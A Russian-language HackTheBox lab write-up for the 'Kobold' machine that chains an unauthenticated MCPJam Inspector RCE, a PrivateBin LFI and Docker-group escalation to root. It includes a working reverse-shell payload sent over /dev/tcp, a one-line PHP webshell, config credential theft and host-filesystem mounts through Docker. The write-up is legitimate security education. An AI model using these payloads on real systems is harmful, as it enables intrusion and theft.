Перед вами разбор машины Kobold из 10-го сезона HackTheBox. Easy машина, которая оказалась интересной - тут и chaining уязвимостей через Docker volumes, и credential reuse, и два разных пути до root. Но главная изюминка: точка входа - RCE в инструменте из AI/ML-экосистемы. Спойлер: MCP тулзе. Новый attack surface, который стоит знать. Погнали)
Разведка
Сканирование портов
Традиционно начинаем с полного сканирования портов:
nmap -p- -sC -sV -oN recon/nmap/full.txt <Target IP>

Nmap обнаруживает четыре открытых TCP-порта:
Порт | Сервис | Версия | Заметки |
|---|---|---|---|
22 | SSH | OpenSSH 9.6p1 Ubuntu | Свежая версия, без известных CVE |
80 | HTTP | nginx 1.24.0 | Redirect → |
443 | HTTPS | nginx 1.24.0 | SSL, title: “Kobold Operations Suite” |
3552 | HTTP | - | Nmap не распознал, но fingerprint содержит HTML |
SSH на данном этапе бесполезен без учётных данных. Порт 80 просто редиректит на HTTPS. А вот порты 443 и 3552 - наши основные цели.
Важная находка из NSE-скриптов: SSL-сертификат на порту 443 содержит wildcard *.kobold.htb в Subject Alternative Name. Для пентестера это прямой сигнал: существуют сабдомены, которые нужно энумерить.
| ssl-cert: Subject: commonName=kobold.htb | Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
Добавление домена в hosts
echo "<Target IP> kobold.htb" | sudo tee -a /etc/hosts
Исследование веб-приложений
Открываем https://kobold.htb в браузере - перед нами статический лендинг “Kobold Operations Suite”. Никакого бэкенда, форм авторизации, интерактива. В общем тупик.

Переходим к порту 3552. Здесь важный момент - curl -k https://kobold.htb:3552 возвращает ошибку wrong version number. Это значит, что порт 3552 работает по plain HTTP, а не HTTPS. Ошибка, которую легко допустить, когда привык что всё за TLS.
curl http://kobold.htb:3552 -I # HTTP/1.1 200 OK # Content-Type: text/html; charset=utf-8

Открываем http://kobold.htb:3552 в браузере:

Arcane v1.13.0 - Docker management dashboard. Login form с полями Username/Password. Внизу ссылка “View on GitHub” и версия 1.13.0. Без кредов мы сюда не попадём - запомним и идём дальше.
Поиск сабдоменов
Wildcard в SSL-сертификате кричит о сабдоменах. Используем ffuf для vhost enumeration:
# Шаг 1: определяем размер дефолтного ответа для фильтрации curl -k https://kobold.htb -H "Host: asdfnotexist.kobold.htb" -s | wc -c # → 154 # Шаг 2: фильтруем по этому размеру ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154

Результат - один сабдомен:
mcp [Status: 200, Size: 466, Words: 57, Lines: 15]
Добавляем в hosts:
echo "<Target IP> mcp.kobold.htb" | sudo tee -a /etc/hosts
MCPJam Inspector - точка входа
Открываем https://mcp.kobold.htb:

MCPJam Inspector v1.4.2 - development-платформа для MCP-серверов. Полный dashboard без какой-либо аутентификации: Servers, Chat, App Builder, Tools, Resources, Settings - всё доступно. В Settings видим подключённый Ollama и версию v1.4.2.

Для тех, кто не следит за ИИ нарративом: Model Context Protocol - это стандарт для подключения AI-моделей к внешним инструментам. MCPJam Inspector - это dev-tool для тестирования MCP-серверов. И вот такие инструменты всё чаще оказываются exposed в production без аутентификации.
Получение доступа (Foothold)
Уязвимость: GHSA-232v-j27c-5pp6
MCPJam Inspector версий ≤1.4.2 содержит критическую уязвимость удалённого выполнения кода (RCE). Проблема в двух вещах:
По умолчанию Inspector слушает на
0.0.0.0вместо127.0.0.1- все HTTP API доступны извнеEndpoint
/api/mcp/connectпредназначен для подключения к MCP-серверам и принимает параметрserverConfig.command- произвольную команду для запуска. Без аутентификации. Без валидации.
По сути, это задокументированный функционал, который в контексте exposed сервиса превращается в RCE с одного HTTP-запроса.
Эксплуатация
Запускаем listener в отдельном окне терминала:
nc -lvnp 4444
Отправляем payload:
curl -k https://mcp.kobold.htb/api/mcp/connect \ -H "Content-Type: application/json" \ -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Your IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'
Ловим shell:

Мы на хосте как пользователь ben. Стабилизируем shell (без этого нет автокомплита, не работают стрелки, Ctrl+C убьёт соединение, а интерактивные команды вроде su откажутся запускаться):
python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z в терминале stty raw -echo; fg export TERM=xterm
User Flag
cat /home/ben/user.txt # <FLAG>
Разведка изнутри
Пользователи и группы
id # uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator) cat /etc/group | grep docker # docker:x:111:alice cat /etc/passwd | grep -v nologin | grep -v false # root, ben, alice

Ключевое наблюдение: alice в группе docker, а ben - нет. Зато ben в группе operator. Нам нужен путь к docker-привилегиям.
Внутренние сервисы
ss -tlnp

Адрес | Порт | Сервис |
|---|---|---|
127.0.0.1 | 8080 | Docker контейнер (PrivateBin) |
127.0.0.1 | 6274 | MCPJam Inspector (node) |
0.0.0.0 | 443/80 | nginx |
* | 3552 | Arcane |
Порт 8080 слушает только на localhost - он не был виден при внешнем сканировании. Проверяем:
ps aux | grep 8080 # root /usr/bin/docker-proxy ... -host-port 8080 -container-ip 172.17.0.2

Это Docker-контейнер. Смотрим nginx-конфиг:
cat /etc/nginx/sites-enabled/privatebin

Обнаружен ещё один сабдомен - bin.kobold.htb, проксирующий на PrivateBin в Docker-контейнере. Добавляем в hosts на атакующей машине и открываем в браузере:

PrivateBin 2.0.2 - self-hosted pastebin с шифрованием на стороне клиента. Версия попадает в диапазон уязвимых к LFI (CVE-2025-64714, затрагивает 1.7.7 — 2.0.2). Но для эксплуатации нам нужна возможность записать PHP-файл в файловую систему контейнера. Вспоминаем, что ben состоит в группе operator — проверяем, что она даёт:
find / -group operator 2>/dev/null

Группа operator имеет read/write доступ к /privatebin-data/ - это Docker volume, примонтированный в контейнер PrivateBin. Директория /privatebin-data/data/ - полностью writable.
Это важная находка: мы можем писать файлы в volume, которые будут видны внутри контейнера.
PrivateBin LFI → Credential Leak
Уязвимость: CVE-2025-64714 (GHSA-g2j9-g8r5-rg82)
PrivateBin с включённым templateselection = true доверяет cookie template для выбора PHP-шаблона. Через path traversal можно включить произвольный PHP-файл относительно директории tpl/. Сама по себе LFI в контейнере кажется бесполезной — мы ограничены его файловой системой. Но у нас есть writable volume, общий между хостом и контейнером. Это позволяет выстроить цепочку:

Эксплуатация
Шаг 1 - дропаем webshell с хоста (shell как ben):
cat > /privatebin-data/data/pwn.php << 'EOF' <?php system($_GET['cmd']); ?> EOF
Шаг 2 - LFI через template cookie (атакующая машина):
curl -k https://bin.kobold.htb/ \ -b "template=../data/pwn" \ -G --data-urlencode "cmd=id"
Результат:

LFI работает. Мы выполняем код внутри Docker-контейнера PrivateBin.
Шаг 3 - сливаем конфиг:
curl -k https://bin.kobold.htb/ \ -b "template=../data/pwn" \ -G --data-urlencode "cmd=cat /srv/cfg/conf.php"

В конфиге находим секцию MySQL с реальными credentials:

Отдельно интересен комментарий в конфиге: “Temporarily disabling while we migrate to new server for loadbalancing” - база временно отключена, но пароль реальный и, как часто бывает, переиспользуется.
Privilege Escalation - Intended Path
Credential Reuse → Arcane Dashboard
Каждый найденный пароль при пентесте нужно пробовать во всех обнаруженных сервисах. Это не опция - это обязательный чеклист:
☐ SSH (alice, ben, root) ☐ su alice / su root ☐ Arcane Dashboard (admin, alice, ben, privatebin) ☐ Любые другие формы логина
Попытки su alice и SSH не дали результата. Следующая цель — Arcane Dashboard на http://kobold.htb:3552. Но какой логин использовать?
При credential reuse важно не только пробовать username’ы из найденных конфигов (privatebin, alice, ben), но и гуглить дефолтные учётные записи для конкретного продукта. Быстрый поиск “Arcane default credentials” приводит к документации и GitHub Discussions — дефолтный логин: arcane / arcane-admin.
Пароль по дефолту не подошёл — его сменили. Но username оставили стандартным. Пробуем комбинацию дефолтного username + leaked password:
Username: arcane
Password: <LEAKED_PASSWORD>

Credential reuse - дефолтный логин arcane + leaked password дает доступ к Arcane
Мы внутри. Полноценный Docker management dashboard: контейнеры, образы, volumes, networks - всё под контролем.
Урок: при credential reuse всегда проверяй дефолтные учётные записи из документации продукта. Пароль могут сменить, но username часто оставляют как есть.
Создание Privileged-контейнера
Arcane позволяет создавать Docker-контейнеры через UI. Если мы создадим контейнер, который монтирует корневую файловую систему хоста - получим полный доступ как root.
Containers → Create Container со следующими параметрами:


Вкладка Basic:
Параметр | Значение |
|---|---|
Container Name |
|
Image |
|
Command |
|
User |
|
Остальные параметры не трогаем на этой вкладке

Вкладка Volumes:
Source (Host) | Container Path |
|---|---|
|
|

Или в текстовом формате: /:/hostfs
Вкладка Network & Security:
☑ Ставим галочку на Privileged mode

Жмём Create Container, запускаем, открываем Shell:

cat /hostfs/root/root.txt

Root flag получен.
Альтернативный путь - newgrp docker
Выше мы прошли полную цепочку: LFI → credential leak → Arcane → privileged container. Красиво, но долго. А теперь - бонус для тех, кто дочитал до конца: тот же root за 3 команды, без UI, без поиска паролей, без credential reuse.
Откуда я узнал про этот путь? Когда уже был внутри Arcane, из любопытства полез в /etc/gshadow через shell контейнера с примонтированным хостом. И вот что бросилось в глаза:

Секунду. Ben в группе docker? Но cat /etc/group | grep docker показывал только alice. Дело в том, что gshadow — это теневой файл групповых разрешений, и он может содержать участников, которых нет в основном /etc/group. Команда newgrp при наличии записи в /etc/gshadow берёт список участников именно оттуда, а не из /etc/group (man newgrp). Участники, перечисленные в gshadow, могут переключиться в группу без пароля.
newgrp docker

Теперь у нас есть прямой доступ к Docker daemon. Монтируем хостовую FS и запускаем команду чтобы прочитать флаг:
docker run --rm -u 0 -v /:/hostfs --entrypoint /bin/sh \ privatebin/nginx-fpm-alpine:2.0.2 -c "cat /hostfs/root/root.txt"

Результат тот же - root flag за 3 команды вместо 10 минут в UI. Но с точки зрения обучения, длинный путь интереснее - он учит chaining уязвимостей.
Пара нюансов при работе с Docker-образами:
--entrypoint /bin/sh- обязателен, иначе запустится дефолтный процесс (nginx+php-fpm) и перехватит stdin-u 0- запуск как root в контейнере, иначе Permission denied при чтении/root/--rm- удаляет контейнер после выхода, чтобы не мусорить
Kill Chain

Выводы
MCP Security - новый класс attack surface
MCPJam Inspector - не единичный случай. По мере роста MCP-экосистемы (серверы, инспекторы, прокси) мы видим всё больше инструментов, которые по дефолту слушают на 0.0.0.0 без аутентификации. База vulnerablemcp.info уже содержит десятки подобных уязвимостей. Для AppSec-инженеров это сигнал: аудит MCP-конфигураций должен стать частью security review.
Docker group = root
Банально, но повторяется из лабы в лабы: членство в группе docker эквивалентно root-доступу. Одна команда docker run -v /:/hostfs - и файловая система хоста ваша. При аудите Linux-систем это должен быть один из первых проверяемых пунктов.
LFI в контейнере ≠ тупик
Изолированная LFI внутри контейнера кажется бесполезной - но если между хостом и контейнером есть shared volume с write-доступом, это полноценный вектор. Chain: drop file → LFI trigger → config leak → credential reuse.
Credential Reuse + дефолтные логины
Нашёл пароль? Пробуй его везде. И не забывай про admin / root / administrator - даже если в конфиге username был privatebin, логин в web-приложении может быть совершенно другим. Также полезно будет поискать дефолтные юзернеймы для сервисов, как было с Arcane dasboard - arcane.
References
GHSA-232v-j27c-5pp6 - MCPJam Inspector RCE, unauthenticated
CVE-2025-64714 - PrivateBin LFI через template cookie
Arcane Docker Management - GitHub проекта, дефолтные креды в документации
man newgrp - gshadow приоритет над /etc/group
man gshadow - формат теневого файла групп
Vulnerable MCP Database - база уязвимостей в MCP-инструментах
MITRE ATT&CK - маппинг техник использованных в kill chain
Спасибо что дочитали до конца, надеюсь было интересно. Если статья была полезна - буду рад фидбэку. Постараюсь опубликовать следующие writeup’ы по мере прохождения Season 10.
